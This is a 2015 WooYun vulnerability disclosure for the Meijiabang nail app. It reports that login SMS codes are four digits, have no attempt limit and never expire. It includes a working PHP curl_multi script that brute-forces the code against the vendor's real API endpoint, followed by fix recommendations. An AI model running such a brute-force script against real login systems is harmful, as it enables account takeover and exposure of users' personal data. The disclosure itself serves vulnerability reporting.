当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0116855

漏洞标题:美甲帮APP任意用户登录

相关厂商:美甲帮

漏洞作者: 路人甲

提交时间:2015-05-29 11:00

修复时间:2015-07-13 11:02

公开时间:2015-07-13 11:02

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-29: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-07-13: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

可任意用户登录,查看订单信息,地址等用户个人信息。

详细说明:

发送验证码登录的方式,多次尝试发现并没有对输入次数做限制

1.png


而且验证码是四位数。于是抓包,尝试写个脚本暴力跑一下。
(由于是测试,并没有从0000开始跑,看到验证码是8894,为了节省时间从8800开始)
脚本如下:

<?php
set_time_limit(0);
$startTime = time();
$i = 8800;
while($i<=9999){
$urls = array();
$params = array();
$mh = curl_multi_init();
for($y = 1; $y<=5; $y++){
$param = get_code($i+$y);
$url = 'http://meijialove.com/v1/user/phone/verify_verification_code.json?debug_version=42&phone=18888888888&release_platform=iPhone&usage=user_login&verification_code='.$param;
$urls[] = $url;
$params[] = $param;
$conn[$y] = curl_init($url);
curl_setopt($conn[$y], CURLOPT_URL, $url);
curl_setopt($conn[$y], CURLOPT_RETURNTRANSFER, 1);
curl_setopt($conn[$y], CURLOPT_HEADER, 0);
curl_setopt($conn[$y], CURLOPT_CONNECTTIMEOUT, 60);
curl_multi_add_handle($mh, $conn[$y]);
}
do{
curl_multi_exec($mh, $active);
}while($active);
foreach($urls as $k=>$url){
$data = curl_multi_getcontent($conn[$k+1]);
$output = json_decode($data,true);
if($output['error_code'] === 0){
echo $params[$k];
exit;
}
curl_multi_remove_handle($mh, $conn[$k+1]);
curl_close($conn[$k+1]);
}
curl_multi_close($mh);
$i = $i + 5;
}
function get_code($i){
$len = strlen($i);
$times = 4-$len;
return str_repeat('0',$times).$i;
}
?>


用了curl的多线程去抓取,虽然速度不快,但结果还是出来了。(用工具估计快得多)

2.png


30.jpg


另外验证码并没有设置过期时间,也就是跑多久都可以。而且结果出来了以后可在手机端继续登录,可登录任意手机用户的。

漏洞证明:

修复方案:

- 给验证码设置过期时间以及验证一次后失效
- 固定时间内限制验证次数,或者多次验证不正确以后需要验证码操作

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)